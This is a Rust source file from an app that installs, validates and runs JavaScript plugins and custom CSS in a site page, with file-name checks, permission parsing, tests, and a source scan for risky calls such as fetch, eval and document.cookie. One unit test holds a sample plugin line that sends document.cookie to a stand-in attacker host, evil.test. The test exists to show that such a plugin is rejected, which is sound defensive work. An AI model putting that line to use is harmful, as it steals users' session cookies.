waybetter/crates/waybetter-host/src/plugins.rs
CRT 365f55f604 Host: 256 feature flags, the onboarding mode (mode_get/mode_set, shell-only), and the one-time move of replaced plugin files to feature flags
- settings: MAX_FEATURES 64 -> 256 (an older app's whole-map backup still validates)
- modes: ModeState {mode, onboarded, existing} in modes.json; existing is decided natively on the first start
- plugins::migrate: PluginHost.superseded (file -> flag); enabled and as shipped -> flag on and the file goes; edited -> kept, flag left off; marker written last, every step repeatable; map_backup for imported enabled lists
- a superseded file is never written again by install_bundled
- create-waybetter: the host command list and PluginHost.superseded
2026-09-30 18:34:13 +07:00

714 lines
35 KiB
Rust

//! BetterDiscord-style extensions for the site page: `*.plugin.js` files and custom CSS.
//!
//! Plugins are trusted by the owner who installs them: by copying files into the folder, or through
//! the app's install screen (dropped file, `waybetter://install` link, store), which shows the name,
//! author, version, source, sha256, permissions and the code before anything is written (see
//! [`validate_plugin`] and [`PluginStore::install`]). They run in the site page with full page
//! access. Native code only reads files from its own plugins directory, never from a caller-supplied
//! path, and the scripts it builds embed plugin data as JSON string literals.
//!
//! A header may declare `@permissions` (see [`PERMISSIONS`]). The page runtime then hands the
//! plugin an API view that throws on undeclared members (`withPlugin`, runtime `permissions.ts`).
//! That is a declaration plus a guard rail, not a sandbox: page JavaScript can always reach around
//! it. A plugin without the line is "legacy" (full API, labelled so in the app).
pub mod commands;
pub mod migrate;
use serde::Serialize;
use sha2::{Digest, Sha256};
use std::collections::{BTreeMap, BTreeSet};
use std::fs;
use std::path::{Path, PathBuf};
pub const PLUGIN_SUFFIX: &str = ".plugin.js";
pub const MAX_PLUGIN_BYTES: u64 = 2 * 1024 * 1024;
pub const MAX_CSS_BYTES: usize = 512 * 1024;
const STATE_FILE: &str = "enabled.json";
const CSS_FILE: &str = "custom.css";
/// Which first-party plugin content was last written, so upgrades never overwrite user edits.
const BUNDLED_FILE: &str = "bundled.json";
/// What the plugin host needs from the app: where plugins run and what ships with it.
#[derive(Clone, Copy, Debug)]
pub struct PluginHost {
/// The page runtime's window global; plugins register under `window.<global>.plugins`.
pub runtime_global: &'static str,
/// Scripts run only in the top frame of this exact origin, e.g. `https://x.com`.
pub origin: &'static str,
/// Console prefix, e.g. `wayBetter for X`.
pub product: &'static str,
/// Element id of the custom CSS `<style>`.
pub css_element_id: &'static str,
/// Written disabled into a freshly created plugins folder: (file name, source).
pub example: Option<(&'static str, &'static str)>,
/// First-party plugins, written disabled and upgraded (see [`PluginStore::install_bundled`]).
pub bundled: &'static [(&'static str, &'static str)],
/// First-party plugin files the app replaced with feature flags: never written again, and moved
/// over once (see [`migrate`]).
pub superseded: &'static [migrate::Superseded],
}
fn content_hash(bytes: &[u8]) -> String {
Sha256::digest(bytes).iter().map(|byte| format!("{byte:02x}")).collect()
}
/// Permissions a plugin header may declare. `network` / `network:none` are declarations only.
pub const PERMISSIONS: &[&str] = &["storage", "ui", "clipboard", "account", "users", "commands", "network", "network:none"];
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct ScriptPlugin {
pub file: String,
pub name: String,
pub description: String,
pub version: String,
pub author: String,
pub enabled: bool,
/// Declared `@permissions`; `None` = no line (legacy: full API, full page access).
pub permissions: Option<Vec<String>>,
/// Header problems (unknown permission names ...). The valid part still applies.
#[serde(skip_serializing_if = "Vec::is_empty")]
pub problems: Vec<String>,
}
/// Parses a `@permissions` value: comma/space separated, case-insensitive, `none` = no grants.
/// Same rules as the runtime's `parsePermissions`.
pub fn parse_permissions(value: &str) -> Result<Vec<String>, String> {
let mut out: Vec<String> = Vec::new();
for token in value.split(|ch: char| ch == ',' || ch.is_whitespace()).filter(|token| !token.is_empty()) {
let token = token.to_ascii_lowercase();
if token == "none" {
continue;
}
if !PERMISSIONS.contains(&token.as_str()) {
let shown: String = token.chars().take(40).collect();
return Err(format!("unknown permission \"{shown}\""));
}
if !out.contains(&token) {
out.push(token);
}
}
if out.iter().any(|p| p == "network") && out.iter().any(|p| p == "network:none") {
return Err("\"network\" and \"network:none\" contradict each other".into());
}
Ok(out)
}
/// A plugin file name must be a bare `name.plugin.js` inside the plugins directory.
pub fn valid_file_name(file: &str) -> bool {
file.len() > PLUGIN_SUFFIX.len()
&& file.len() <= 128
&& file.ends_with(PLUGIN_SUFFIX)
&& !file.starts_with('.')
&& file
.bytes()
.all(|ch| ch.is_ascii_alphanumeric() || b"_-. ".contains(&ch))
}
/// Reads `@name`, `@description`, `@version`, `@author` and `@permissions` from the leading
/// `/** … */` block.
pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
let mut plugin = ScriptPlugin {
file: file.to_owned(),
name: file.trim_end_matches(PLUGIN_SUFFIX).to_owned(),
description: String::new(),
version: String::new(),
author: String::new(),
enabled: false,
permissions: None,
problems: Vec::new(),
};
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
let Some(body) = trimmed.strip_prefix("/**") else {
return plugin;
};
let Some(end) = body.find("*/") else {
return plugin;
};
for line in body[..end].lines() {
let line = line.trim().trim_start_matches('*').trim();
let Some(rest) = line.strip_prefix('@') else {
continue;
};
let (key, value) = rest.split_once(char::is_whitespace).unwrap_or((rest, ""));
let value: String = value.trim().chars().filter(|ch| !ch.is_control()).take(300).collect();
match key {
"name" if !value.is_empty() => plugin.name = value,
"description" => plugin.description = value,
"version" => plugin.version = value,
"author" => plugin.author = value,
"permissions" => {
// Several lines add up; an invalid line grants nothing from that line.
let granted = plugin.permissions.get_or_insert_with(Vec::new);
match parse_permissions(&value) {
Ok(list) => {
for permission in list {
if !granted.contains(&permission) {
granted.push(permission);
}
}
}
Err(problem) => plugin.problems.push(format!("@permissions: {problem}")),
}
}
_ => {}
}
}
if let Some(list) = &plugin.permissions {
if list.iter().any(|p| p == "network") && list.iter().any(|p| p == "network:none") {
plugin.problems.push("@permissions: \"network\" and \"network:none\" contradict each other".into());
}
}
plugin
}
/// What a source scan found that a reviewer should see before installing. Heuristic: minified or
/// obfuscated code can hide all of these, so an empty list proves nothing.
pub fn source_findings(source: &str) -> Vec<&'static str> {
const PATTERNS: &[(&str, &str)] = &[
("fetch(", "makes network requests (fetch)"),
("XMLHttpRequest", "makes network requests (XMLHttpRequest)"),
("WebSocket", "opens WebSockets"),
("EventSource", "opens server-sent event streams"),
("sendBeacon", "sends beacons"),
("import(", "loads code at runtime (import())"),
("eval(", "evaluates strings as code (eval)"),
("new Function", "evaluates strings as code (new Function)"),
("document.cookie", "reads cookies"),
("innerHTML", "writes HTML (innerHTML)"),
];
let mut found: Vec<&'static str> = Vec::new();
for (needle, finding) in PATTERNS {
if source.contains(needle) && !found.contains(finding) {
found.push(finding);
}
}
found
}
/// A plugin file checked for installation through the app (never for files the owner copied in).
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct ValidatedPlugin {
pub meta: ScriptPlugin,
pub sha256: String,
pub size: usize,
pub findings: Vec<&'static str>,
}
/// Checks a plugin before it may be installed: a valid file name, at most [`MAX_PLUGIN_BYTES`],
/// UTF-8 text without NUL or other binary control bytes, a `/** … */` header with `@name` and
/// `@version`, and a valid `@permissions` line when there is one. A header that declares
/// `network:none` while the source calls network APIs is refused.
pub fn validate_plugin(file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
if !valid_file_name(file) {
return Err("VALIDATION: the file name must look like name.plugin.js (letters, digits, - _ . and spaces)".into());
}
if bytes.is_empty() {
return Err("VALIDATION: the plugin file is empty".into());
}
if bytes.len() as u64 > MAX_PLUGIN_BYTES {
return Err("VALIDATION: plugins are limited to 2 MiB".into());
}
let source = std::str::from_utf8(bytes).map_err(|_| "VALIDATION: a plugin must be UTF-8 text")?;
if source.chars().any(|ch| (ch.is_control() && !matches!(ch, '\n' | '\r' | '\t' | '\u{c}')) || ch == '\u{fffd}') {
return Err("VALIDATION: the file contains binary data, not JavaScript text".into());
}
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
if !trimmed.starts_with("/**") || !trimmed.contains("*/") {
return Err("VALIDATION: a plugin must start with a /** … */ header (@name, @version)".into());
}
let meta = parse_meta(file, source);
let header = &trimmed[..trimmed.find("*/").unwrap_or(0)];
if !header.contains("@name") || meta.name.trim().is_empty() {
return Err("VALIDATION: the header needs an @name".into());
}
if meta.version.trim().is_empty() {
return Err("VALIDATION: the header needs an @version".into());
}
if let Some(problem) = meta.problems.first() {
return Err(format!("VALIDATION: {problem}"));
}
let findings = source_findings(source);
let promises_no_network = meta.permissions.as_ref().is_some_and(|list| list.iter().any(|p| p == "network:none"));
if promises_no_network && findings.iter().any(|finding| finding.contains("network") || finding.contains("WebSocket") || finding.contains("beacon") || finding.contains("event streams")) {
return Err("VALIDATION: the header says network:none but the code uses network APIs".into());
}
Ok(ValidatedPlugin { sha256: content_hash(bytes), size: bytes.len(), findings, meta })
}
pub struct PluginStore {
dir: PathBuf,
host: &'static PluginHost,
}
impl PluginStore {
pub fn new(dir: PathBuf, host: &'static PluginHost) -> Self {
Self { dir, host }
}
pub fn dir(&self) -> &Path {
&self.dir
}
pub fn host(&self) -> &'static PluginHost {
self.host
}
/// Creates the folder; on first creation also writes the disabled example plugin. Every call
/// installs or upgrades the first-party plugins (see [`Self::install_bundled`]).
pub fn ensure(&self) -> Result<(), String> {
let fresh = !self.dir.exists();
fs::create_dir_all(&self.dir).map_err(|error| format!("PLUGINS: {error}"))?;
if fresh {
if let Some((file, source)) = self.host.example {
let _ = fs::write(self.dir.join(file), source);
}
}
self.install_bundled(self.host.bundled);
Ok(())
}
/// Writes first-party plugins without ever enabling them or touching the owner's work:
/// - missing and never installed: written (first run, or a plugin new in this version);
/// - missing but installed before: the owner deleted it, so it stays deleted;
/// - present and byte-identical to what was last installed: upgraded to the shipped content;
/// - present with any other content (edited, or an unrelated file of that name): left alone.
pub fn install_bundled(&self, bundled: &[(&str, &str)]) {
let manifest_path = self.dir.join(BUNDLED_FILE);
let mut manifest: BTreeMap<String, String> = fs::read_to_string(&manifest_path)
.ok()
.and_then(|raw| serde_json::from_str(&raw).ok())
.unwrap_or_default();
let before = manifest.clone();
for (file, source) in bundled {
if !valid_file_name(file) || self.host.superseded.iter().any(|row| row.file == *file) {
continue;
}
let path = self.dir.join(file);
let shipped = content_hash(source.as_bytes());
let installed = manifest.get(*file).cloned();
match fs::read(&path) {
Err(_) if installed.is_none() => {
if fs::write(&path, source).is_ok() {
manifest.insert((*file).to_owned(), shipped);
}
}
Err(_) => {}
Ok(current) => {
let current = content_hash(&current);
if current == shipped {
manifest.insert((*file).to_owned(), shipped);
} else if installed.as_deref() == Some(current.as_str()) && fs::write(&path, source).is_ok() {
manifest.insert((*file).to_owned(), shipped);
}
}
}
}
if manifest != before {
if let Ok(json) = serde_json::to_string_pretty(&manifest) {
let _ = fs::write(manifest_path, json);
}
}
}
fn enabled_set(&self) -> BTreeSet<String> {
fs::read_to_string(self.dir.join(STATE_FILE))
.ok()
.and_then(|raw| serde_json::from_str::<BTreeSet<String>>(&raw).ok())
.unwrap_or_default()
.into_iter()
.filter(|file| valid_file_name(file))
.collect()
}
fn read_source(&self, file: &str) -> Result<String, String> {
if !valid_file_name(file) {
return Err("VALIDATION: invalid plugin file name".into());
}
let path = self.dir.join(file);
let meta = fs::metadata(&path).map_err(|_| "PLUGINS: plugin file not found")?;
if !meta.is_file() || meta.len() > MAX_PLUGIN_BYTES {
return Err("PLUGINS: plugin must be a regular file under 2 MiB".into());
}
fs::read_to_string(&path).map_err(|_| "PLUGINS: plugin must be UTF-8 text".into())
}
pub fn list(&self) -> Result<Vec<ScriptPlugin>, String> {
self.ensure()?;
let enabled = self.enabled_set();
let mut plugins = Vec::new();
for entry in fs::read_dir(&self.dir).map_err(|error| format!("PLUGINS: {error}"))? {
let Ok(entry) = entry else { continue };
let Some(file) = entry.file_name().to_str().map(str::to_owned) else {
continue;
};
if !valid_file_name(&file) {
continue;
}
let Ok(source) = self.read_source(&file) else {
continue;
};
let mut plugin = parse_meta(&file, &source);
plugin.enabled = enabled.contains(&file);
plugins.push(plugin);
}
plugins.sort_by(|a, b| a.name.to_lowercase().cmp(&b.name.to_lowercase()));
Ok(plugins)
}
/// Whether `file` is enabled.
pub fn is_enabled(&self, file: &str) -> bool {
self.enabled_set().contains(file)
}
/// sha256 of an installed plugin file, or None when it is missing or unreadable.
pub fn file_hash(&self, file: &str) -> Option<String> {
self.read_source(file).ok().map(|source| content_hash(source.as_bytes()))
}
/// Writes a plugin the owner confirmed in the app's install screen. The bytes are validated
/// again ([`validate_plugin`]); the file is written next to its final name and renamed over it,
/// so a running X tab never reads half a file. Never enables it; an existing file of that name
/// is replaced (an update), keeping its enabled state.
pub fn install(&self, file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
let validated = validate_plugin(file, bytes)?;
self.ensure()?;
let target = self.dir.join(file);
if target.exists() && !fs::metadata(&target).map(|meta| meta.is_file()).unwrap_or(false) {
return Err("PLUGINS: a folder of that name is in the way".into());
}
let temp = self.dir.join(format!(".{file}.installing"));
fs::write(&temp, bytes).map_err(|error| format!("PLUGINS: {error}"))?;
if let Err(error) = fs::rename(&temp, &target) {
let _ = fs::remove_file(&temp);
return Err(format!("PLUGINS: {error}"));
}
Ok(validated)
}
/// Deletes a plugin file and forgets that it was enabled. A first-party plugin removed this way
/// stays removed (see [`Self::install_bundled`]).
pub fn remove(&self, file: &str) -> Result<(), String> {
if !valid_file_name(file) {
return Err("VALIDATION: invalid plugin file name".into());
}
let path = self.dir.join(file);
let meta = fs::metadata(&path).map_err(|_| "PLUGINS: plugin file not found")?;
if !meta.is_file() {
return Err("PLUGINS: not a plugin file".into());
}
if self.is_enabled(file) {
self.set_enabled(file, false)?;
}
fs::remove_file(&path).map_err(|error| format!("PLUGINS: {error}"))
}
pub fn set_enabled(&self, file: &str, enabled: bool) -> Result<(), String> {
self.read_source(file)?;
let mut set = self.enabled_set();
if enabled {
set.insert(file.to_owned());
} else {
set.remove(file);
}
let json = serde_json::to_string_pretty(&set).map_err(|_| "PLUGINS: serialization failed")?;
fs::write(self.dir.join(STATE_FILE), json).map_err(|error| format!("PLUGINS: {error}"))
}
/// Start scripts for every enabled plugin, in name order.
pub fn start_scripts(&self) -> Vec<String> {
let enabled = self.enabled_set();
enabled
.iter()
.filter_map(|file| self.start_script(file).ok())
.collect()
}
pub fn start_script(&self, file: &str) -> Result<String, String> {
let source = self.read_source(file)?;
start_script(self.host, file, &source)
}
pub fn css(&self) -> String {
fs::read_to_string(self.dir.join(CSS_FILE)).unwrap_or_default()
}
pub fn set_css(&self, css: &str) -> Result<(), String> {
if css.len() > MAX_CSS_BYTES {
return Err("VALIDATION: custom CSS is limited to 512 KiB".into());
}
self.ensure()?;
fs::write(self.dir.join(CSS_FILE), css).map_err(|error| format!("PLUGINS: {error}"))
}
}
fn js_string(value: &str) -> Result<String, String> {
serde_json::to_string(value).map_err(|_| "PLUGINS: serialization failed".into())
}
/// Wraps a CommonJS-style plugin (`module.exports = class { start() {} stop() {} }`).
/// Native code evaluates the result in the site tab, so the page's CSP does not block it.
///
/// Construction and `start()` run inside `api.commands.withOwner(file, ...)` when the runtime has
/// a command registry, so palette commands registered meanwhile belong to this plugin and are
/// removed by [`stop_script`] (or at once when the start fails).
///
/// The module body, construction, `start()` and `stop()` also run inside
/// `window.<global>.withPlugin(id, grants, fn)` when the runtime has it: reads of
/// `window.<global>.api` there return the plugin's view for its declared `@permissions` (`grants`
/// = null for a legacy plugin without the line: the full API).
pub fn start_script(host: &PluginHost, file: &str, source: &str) -> Result<String, String> {
start_script_with(host, file, source, None)
}
/// [`start_script`] for the live-reload developer mode: the evaluated script ends with
/// `//# sourceURL=<prefix><file>` so stack traces name the file and line (line 1 of the file is
/// line 2 of the evaluated script), and a start failure is also handed to the runtime's
/// `devError(id, error)` (which shows it in the page).
pub fn dev_start_script(host: &PluginHost, file: &str, source: &str, source_url_prefix: &str) -> Result<String, String> {
if !source_url_prefix.bytes().all(|b| b.is_ascii_alphanumeric() || b"-_/:.".contains(&b)) {
return Err("VALIDATION: invalid source URL prefix".into());
}
start_script_with(host, file, source, Some(source_url_prefix))
}
/// Line of the evaluated start script on which the plugin file's first line lands.
pub const START_SCRIPT_LINE_OFFSET: u32 = 1;
fn start_script_with(host: &PluginHost, file: &str, source: &str, dev: Option<&str>) -> Result<String, String> {
let id = js_string(file)?;
let grants = serde_json::to_string(&parse_meta(file, source).permissions).map_err(|_| "PLUGINS: serialization failed")?;
let PluginHost { runtime_global: global, origin, product, .. } = host;
// Only a valid file name (letters, digits, `_-. `) reaches the comment.
let source_url = match dev {
Some(prefix) if valid_file_name(file) => format!("\n//# sourceURL={prefix}{}", file.replace(' ', "%20")),
_ => String::new(),
};
let on_error = if dev.is_some() { "if(typeof XW.devError==='function')XW.devError(id,e);" } else { "" };
Ok(format!(
"(()=>{{const XW=window.{global};if(!XW||window.top!==window||location.origin!=='{origin}')return;\
const id={id};if(XW.plugins[id])return;\
const C=XW.api&&XW.api.commands;const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,{grants},f):f();\
const own=f=>as(()=>C&&typeof C.withOwner==='function'?C.withOwner(id,f):f());\
try{{const module={{exports:{{}}}};const exports=module.exports;\
as(()=>{{(function(module,exports){{\n{source}\n}})(module,exports);}});\
let P=module.exports&&module.exports.default?module.exports.default:module.exports;\
const inst=own(()=>typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P);\
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')own(()=>inst.start());\
console.info('[{product}] started',id);}}\
catch(e){{XW.errors[id]=String(e&&e.stack||e);if(C&&typeof C.removeOwner==='function')C.removeOwner(id);{on_error}\
console.error('[{product}] plugin failed',id,e);}}}})();{source_url}"
))
}
/// Stops a plugin; whatever palette commands it forgot to unregister go with it.
pub fn stop_script(host: &PluginHost, file: &str) -> Result<String, String> {
let id = js_string(file)?;
let PluginHost { runtime_global: global, product, .. } = host;
Ok(format!(
"(()=>{{const XW=window.{global};if(!XW)return;const id={id};const p=XW.plugins[id];\
const C=XW.api&&XW.api.commands;const drop=()=>{{if(C&&typeof C.removeOwner==='function')C.removeOwner(id);}};\
if(!p){{drop();return;}}delete XW.plugins[id];\
const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,undefined,f):f();\
try{{if(typeof p.stop==='function')as(()=>p.stop());console.info('[{product}] stopped',id);}}\
catch(e){{console.error('[{product}] plugin stop failed',id,e);}}drop();}})();"
))
}
pub fn css_script(host: &PluginHost, css: &str) -> Result<String, String> {
let css = js_string(css)?;
let PluginHost { origin, css_element_id, .. } = host;
Ok(format!(
"(()=>{{if(window.top!==window||location.origin!=='{origin}')return;\
const id='{css_element_id}';let s=document.getElementById(id);\
if(!s){{s=document.createElement('style');s.id=id;(document.head||document.documentElement).appendChild(s);}}\
s.textContent={css};}})();"
))
}
#[cfg(test)]
mod tests {
use super::*;
static HOST: PluginHost = PluginHost {
runtime_global: "Demo",
origin: "https://site.test",
product: "wayBetter for Test",
css_element_id: "demo-css",
example: Some(("example.plugin.js", "/**\n * @name Example\n */\nmodule.exports = class { start(){} stop(){} };")),
bundled: &[("wb-one.plugin.js", "/** @name One */ module.exports = {};")],
superseded: &[],
};
#[test]
fn plugin_file_names_cannot_escape_the_plugins_folder() {
assert!(valid_file_name("hide-trends.plugin.js"));
assert!(valid_file_name("My Plugin.plugin.js"));
for bad in ["../x.plugin.js", "a/b.plugin.js", r"a\b.plugin.js", ".plugin.js", ".hidden.plugin.js", "x.js", "C:x.plugin.js", ""] {
assert!(!valid_file_name(bad), "{bad}");
}
}
#[test]
fn meta_header_is_parsed_and_defaults_to_file_name() {
let source = "/**\n * @name Hide Trends\n * @description Hides trends\n * @version 1.2.0\n * @author Someone\n */\nmodule.exports = class {};";
let plugin = parse_meta("hide.plugin.js", source);
assert_eq!((plugin.name.as_str(), plugin.description.as_str(), plugin.version.as_str()), ("Hide Trends", "Hides trends", "1.2.0"));
assert_eq!(plugin.author, "Someone");
assert_eq!(parse_meta("bare.plugin.js", "module.exports = {}").name, "bare");
}
#[test]
fn store_lists_toggles_and_persists_css() {
let root = tempfile::tempdir().unwrap();
let store = PluginStore::new(root.path().join("plugins"), &HOST);
let listed = store.list().unwrap();
assert_eq!(listed.len(), 2, "fresh folder gets the example and the bundled plugin");
assert!(listed.iter().all(|plugin| !plugin.enabled));
store.set_enabled("example.plugin.js", true).unwrap();
assert_eq!(store.start_scripts().len(), 1);
assert!(store.set_enabled("../escape.plugin.js", true).is_err());
store.set_enabled("example.plugin.js", false).unwrap();
assert!(store.start_scripts().is_empty());
store.set_css("body{color:red}").unwrap();
assert_eq!(store.css(), "body{color:red}");
assert!(store.set_css(&"a".repeat(MAX_CSS_BYTES + 1)).is_err());
}
#[test]
fn bundled_plugins_upgrade_only_untouched_copies() {
let root = tempfile::tempdir().unwrap();
let store = PluginStore::new(root.path().to_path_buf(), &HOST);
let path = root.path().join("wb-a.plugin.js");
store.install_bundled(&[("wb-a.plugin.js", "v1")]);
assert_eq!(fs::read_to_string(&path).unwrap(), "v1");
store.install_bundled(&[("wb-a.plugin.js", "v2")]);
assert_eq!(fs::read_to_string(&path).unwrap(), "v2", "untouched copy is upgraded");
fs::write(&path, "mine").unwrap();
store.install_bundled(&[("wb-a.plugin.js", "v3")]);
assert_eq!(fs::read_to_string(&path).unwrap(), "mine", "edited copy is left alone");
fs::remove_file(&path).unwrap();
store.install_bundled(&[("wb-a.plugin.js", "v4")]);
assert!(!path.exists(), "a deleted bundled plugin stays deleted");
let foreign = root.path().join("wb-b.plugin.js");
fs::write(&foreign, "foreign").unwrap();
store.install_bundled(&[("wb-b.plugin.js", "shipped")]);
assert_eq!(fs::read_to_string(&foreign).unwrap(), "foreign", "a foreign file of that name is kept");
}
#[test]
fn scripts_are_scoped_to_the_site_and_embed_data_as_literals() {
let start = start_script(&HOST, "a\"b.plugin.js", "module.exports = {}").unwrap();
assert!(start.starts_with("(()=>{const XW=window.Demo;if(!XW||window.top!==window||location.origin!=='https://site.test')return;"));
assert!(start.contains(r#"const id="a\"b.plugin.js";"#));
assert!(start.contains("[wayBetter for Test] started"));
let stop = stop_script(&HOST, "x.plugin.js").unwrap();
assert!(stop.contains("window.Demo") && stop.contains("[wayBetter for Test] stopped"));
let css = css_script(&HOST, "</style><script>").unwrap();
assert!(css.contains("const id='demo-css'") && css.contains(r#"s.textContent="</style><script>";"#));
}
#[test]
fn palette_commands_belong_to_the_plugin_and_go_when_it_stops() {
let start = start_script(&HOST, "focus.plugin.js", "module.exports = class { start(){} };").unwrap();
// Construction and start() run with the plugin as the commands' owner.
assert!(start.contains("C.withOwner(id,f)") && start.contains("own(()=>inst.start())"));
// A failed start drops whatever it registered before throwing.
assert!(start.contains("catch(e){XW.errors[id]=String(e&&e.stack||e);if(C&&typeof C.removeOwner==='function')C.removeOwner(id);"));
assert!(!start.contains("sourceURL") && !start.contains("devError"));
let stop = stop_script(&HOST, "focus.plugin.js").unwrap();
// Removed after stop(), and also when the plugin was not running (a failed start).
assert!(stop.contains("if(!p){drop();return;}") && stop.ends_with("drop();})();"));
}
#[test]
fn dev_start_script_names_the_file_for_stack_traces() {
let source = "module.exports = class {\n start(){ throw new Error('x'); }\n};";
let dev = dev_start_script(&HOST, "My Plugin.plugin.js", source, "wb-dev/").unwrap();
assert!(dev.ends_with("\n//# sourceURL=wb-dev/My%20Plugin.plugin.js"));
assert!(dev.contains("XW.devError(id,e)"));
// The file's first line is line 1 + START_SCRIPT_LINE_OFFSET of the evaluated script.
let first = dev.lines().position(|line| line == "module.exports = class {").unwrap() as u32;
assert_eq!(first, START_SCRIPT_LINE_OFFSET);
assert!(dev_start_script(&HOST, "a.plugin.js", source, "x\n//# evil").is_err());
}
#[test]
fn permissions_header_is_parsed_strictly() {
assert_eq!(parse_permissions("storage, ui clipboard,UI").unwrap(), vec!["storage", "ui", "clipboard"]);
assert_eq!(parse_permissions("none").unwrap(), Vec::<String>::new());
assert!(parse_permissions("storage, cookies").unwrap_err().contains("unknown permission \"cookies\""));
assert!(parse_permissions("network network:none").is_err());
let legacy = parse_meta("a.plugin.js", "/**\n * @name A\n * @version 1.0.0\n */");
assert_eq!(legacy.permissions, None, "no line = legacy, full API");
let declared = parse_meta("b.plugin.js", "/**\n * @name B\n * @permissions storage, ui\n * @permissions network:none\n */");
assert_eq!(declared.permissions, Some(vec!["storage".into(), "ui".into(), "network:none".into()]));
let bad = parse_meta("c.plugin.js", "/**\n * @name C\n * @permissions storage\n * @permissions root\n */");
assert_eq!(bad.permissions, Some(vec!["storage".into()]), "an invalid line grants nothing");
assert_eq!(bad.problems.len(), 1);
}
#[test]
fn install_validation_rejects_binary_oversized_and_headerless_files() {
let good = "/**\n * @name Good\n * @version 1.0.0\n * @author me\n * @permissions ui\n */\nmodule.exports = class { start(){} stop(){} };";
let ok = validate_plugin("good.plugin.js", good.as_bytes()).unwrap();
assert_eq!((ok.meta.name.as_str(), ok.size), ("Good", good.len()));
assert_eq!(ok.sha256, content_hash(good.as_bytes()));
assert!(ok.findings.is_empty());
let err = |file: &str, bytes: &[u8]| validate_plugin(file, bytes).unwrap_err();
assert!(err("../good.plugin.js", good.as_bytes()).contains("file name"));
assert!(err("good.js", good.as_bytes()).contains("file name"));
assert!(err("e.plugin.js", b"").contains("empty"));
assert!(err("big.plugin.js", &vec![b'a'; MAX_PLUGIN_BYTES as usize + 1]).contains("2 MiB"));
assert!(err("bin.plugin.js", b"/** @name X @version 1 */\0\x01\x02").contains("binary"));
assert!(err("bin.plugin.js", &[0xff, 0xfe, 0x00]).contains("UTF-8"));
assert!(err("nohead.plugin.js", b"module.exports = {};").contains("header"));
assert!(err("noname.plugin.js", b"/**\n * @version 1.0.0\n */").contains("@name"));
assert!(err("nover.plugin.js", b"/**\n * @name N\n */").contains("@version"));
assert!(err("perm.plugin.js", b"/**\n * @name P\n * @version 1\n * @permissions everything\n */").contains("unknown permission"));
let liar = "/**\n * @name L\n * @version 1\n * @permissions network:none\n */\nfetch('https://evil.test/?' + document.cookie);";
assert!(err("liar.plugin.js", liar.as_bytes()).contains("network:none"));
let honest = liar.replace("network:none", "network");
let findings = validate_plugin("honest.plugin.js", honest.as_bytes()).unwrap().findings;
assert!(findings.contains(&"makes network requests (fetch)") && findings.contains(&"reads cookies"));
}
#[test]
fn install_writes_atomically_keeps_enabled_state_and_remove_forgets_it() {
let root = tempfile::tempdir().unwrap();
let store = PluginStore::new(root.path().join("plugins"), &HOST);
let v1 = "/**\n * @name Up\n * @version 1.0.0\n */\nmodule.exports = class { start(){} };";
let v2 = v1.replace("1.0.0", "1.1.0");
store.install("up.plugin.js", v1.as_bytes()).unwrap();
assert!(!store.is_enabled("up.plugin.js"), "installing never enables");
store.set_enabled("up.plugin.js", true).unwrap();
let installed = store.install("up.plugin.js", v2.as_bytes()).unwrap();
assert_eq!(installed.meta.version, "1.1.0");
assert!(store.is_enabled("up.plugin.js"), "an update keeps the enabled state");
assert_eq!(store.file_hash("up.plugin.js"), Some(content_hash(v2.as_bytes())));
assert!(fs::read_dir(store.dir()).unwrap().all(|entry| !entry.unwrap().file_name().to_string_lossy().ends_with(".installing")));
assert!(store.install("bad.plugin.js", b"not a plugin").is_err());
assert!(!store.dir().join("bad.plugin.js").exists(), "an invalid file is never written");
store.remove("up.plugin.js").unwrap();
assert!(!store.dir().join("up.plugin.js").exists());
assert!(!store.is_enabled("up.plugin.js"));
assert!(store.remove("../escape.plugin.js").is_err());
// A removed first-party plugin stays removed.
store.remove("wb-one.plugin.js").unwrap();
store.ensure().unwrap();
assert!(!store.dir().join("wb-one.plugin.js").exists());
}
#[test]
fn start_script_hands_the_runtime_the_declared_grants() {
let declared = start_script(&HOST, "d.plugin.js", "/**\n * @name D\n * @permissions storage, ui\n */\nmodule.exports = {};").unwrap();
assert!(declared.contains(r#"XW.withPlugin(id,["storage","ui"],f)"#));
assert!(declared.contains("as(()=>{(function(module,exports){"), "the module body runs as the plugin");
let legacy = start_script(&HOST, "l.plugin.js", "module.exports = {};").unwrap();
assert!(legacy.contains("XW.withPlugin(id,null,f)"), "legacy plugins get the full API");
let stop = stop_script(&HOST, "d.plugin.js").unwrap();
assert!(stop.contains("XW.withPlugin(id,undefined,f)") && stop.contains("as(()=>p.stop())"));
}
}